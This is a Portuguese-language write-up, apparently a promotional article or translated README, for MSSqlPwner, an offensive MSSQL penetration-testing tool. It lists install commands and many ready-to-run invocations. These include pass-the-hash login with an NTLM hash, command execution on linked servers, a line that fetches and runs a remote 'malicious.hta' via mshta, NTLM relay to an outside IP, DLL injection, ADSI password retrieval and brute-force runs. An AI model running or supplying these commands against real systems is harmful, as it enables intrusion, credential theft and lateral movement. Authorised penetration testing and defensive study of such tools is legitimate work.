
Ferramenta avançada de teste de penetração MSSQL para movimento lateral, execução de comandos, relé NTLM e ataques de força bruta através de servidores vinculados e múltiplos métodos de autenticação.
MSSqlPwner é uma ferramenta de pentest avançada e versátil projetada para interagir e comprometer servidores MSSQL de forma integrada.
Essa ferramenta é baseada no impacket, que permite que atacantes autentiquem em bancos de dados usando senhas em texto claro, hashes NTLM e tickets kerberos.
Com o MSSqlPwner, os usuários podem executar comandos personalizados através de vários métodos, incluindo assembly personalizado, xp_cmdshell e sp_oacreate (Procedimentos de Automação Ole) e muito mais.
A ferramenta começa com enumeração recursiva em servidores vinculados e possíveis impersonações para reunir todas as cadeias possíveis para execução de comandos.
Além disso, a ferramenta MSSqlPwner pode ser usada para capacidades de relay NTLM, utilizando funções como xp_dirtree, xp_subdirs, xp_fileexist.
Esta ferramenta pode ser usada para avaliações de movimento lateral e exploração de servidores vinculados.
Se o usuário MSSQL autenticado não tiver permissão para executar certas operações, a ferramenta pode encontrar a cadeia correta que permitirá a execução de comandos. Por exemplo, se seu usuário não puder executar comandos no contexto atual, a ferramenta construirá uma cadeia que usará um servidor vinculado e se conectará de volta ao nosso servidor com privilégios elevados.
Começar com o mssqlpwner é muito simples. Você pode fazer isso puxando diretamente do repositório:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
Ou, usando pipx - e você deveria -, experimente:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
E agora você pode usar sua nova ferramenta favorita:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
Esta ferramenta é suportada por múltiplos métodos de autenticação e descritos abaixo.
Esta ferramenta foi projetada para profissionais de segurança e pesquisadores apenas para fins de teste e não deve ser usada para fins ilegais.
interactive: permite usar a ferramenta interativamente com execução ao vivo.enumerate: enumera os servidores vinculados e as cadeias.get-chain-list obtém a lista das cadeias:
-filter-hostname HOSTNAME - Obter resultados filtrados com um hostname específico.get-link-server-list obtém a lista dos servidores vinculados.set-chain Define o ID da cadeia (Apenas para modo interativo!)
CHAIN - O ID da cadeia a ser definido.set-link-server Define o servidor vinculado (Apenas para modo interativo!)
LINK - O servidor vinculado a ser definido.get-rev2self-queries recupera consultas para reverter para SELF (Apenas para modo interativo!).get-adsi-provider-list recupera a lista de provedores ADSI.exec Execute comandos usando exec no servidor local ou em servidores vinculados
COMMAND - O comando a ser executado.-command_execution_method - O método de execução de comando a ser usado.
xp_cmdshell - Executa comandos usando o procedimento xp_cmdshell (Padrão).sp_oacreate - Executa comandos usando o procedimento Ole Automation Procedure (Deve ser usado como "cmd /c algo").retrieve-password Recuperação de senhas de provedores ADSI.
-listen-port - A porta para ouvir (Padrão: 1389).-adsi-provider - Provedor ADSI a ser usado (se não definido, será escolhido automaticamente).-arch - A arquitetura a ser usada (se não definido, será escolhida automaticamente).
x86 - Usar arquitetura x86.x64 - Usar arquitetura x64.ntlm-relay - Forçar relay NTLM para um servidor.
SMB_SERVER - O servidor SMB para o qual fazer relay.-relay-method - O método de relay a ser usado.
xp_dirtree - Usar o procedimento xp_dirtree (Padrão).xp_subdirs - Usar o procedimento xp_subdirs.xp_fileexist - Usar o procedimento xp_fileexist (Em algumas situações, este módulo deve ser executado a partir de uma cadeia privilegiada).custom-asm - Executar procedimentos usando assembly personalizado
COMMAND - O comando/caminho ou consulta a ser usada.-procedure-name - O nome do procedimento a ser usado (Padrão: execute_command).
execute_command - Executa comandos usando assembly personalizado (Padrão).run_query - Executa consultas usando assembly personalizado.run_query_system_service - Executa consultas usando assembly personalizado como usuário do sistema (Como SqlSVC).inject-custom-asm Injetar código usando assembly personalizado.
file_location - O local do arquivo a ser injetado.-procedure-name - O nome do procedimento a ser usado (Padrão: ).direct-query Executar consultas diretasQUERY - A consulta a ser executada.-query-method - O método de consulta a ser usado.
OpenQuery - Usar o procedimento OpenQuery (Padrão).exec_at - Usar o procedimento exec AT.brute Iniciar bruteforce (Pode receber tickets, hashes e senhas)TARGETS_FILE - um arquivo contém hosts e ips para bruteforce.-ul - um arquivo contém usuários para bruteforce.-pl - um arquivo contém senhas para bruteforce.-tl - um arquivo contém tickets para bruteforce.-hl - um arquivo contém hashes para bruteforce.-link-name - O nome do servidor vinculado a ser usado-chain-id - O ID da cadeia a ser usado-max-link-depth - A profundidade máxima de vinculação a ser usada (Padrão: 10)-max-impersonation-depth - A profundidade máxima de impersonação a ser usada (Padrão: 10)-auto-yes - Responder automaticamente sim a todas as perguntas (Padrão: Falso)-timeout - O tempo limite a ser usado (Padrão: 30)O MSSqlPwner oferece oportunidades para avaliações de movimento lateral e exploração de servidores vinculados. Em cenários onde a sessão atual não possui privilégios administrativos, a ferramenta tenta encontrar uma cadeia que eleve seus próprios privilégios através de servidores vinculados. Se uma sessão em um servidor vinculado tiver privilégios mais altos, a ferramenta pode interagir com o servidor vinculado e realizar uma consulta vinculada de volta ao host com privilégios elevados, permitindo movimento lateral com o servidor alvo.
Suportado por múltiplos métodos de autenticação, incluindo:
A ferramenta se adapta a vários cenários e ambientes, verificando a eficácia dos mecanismos de autenticação.
Leve suas avaliações de ambiente MSSQL para o próximo nível com o poder e a versatilidade do MSSqlPwner. Descubra novas possibilidades para movimento lateral, consultas furtivas e avaliações precisas de segurança com esta ferramenta MSSqlPwner.
# Interactive mode
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
rev2self reverter para SELF (Apenas para modo interativo!).Inject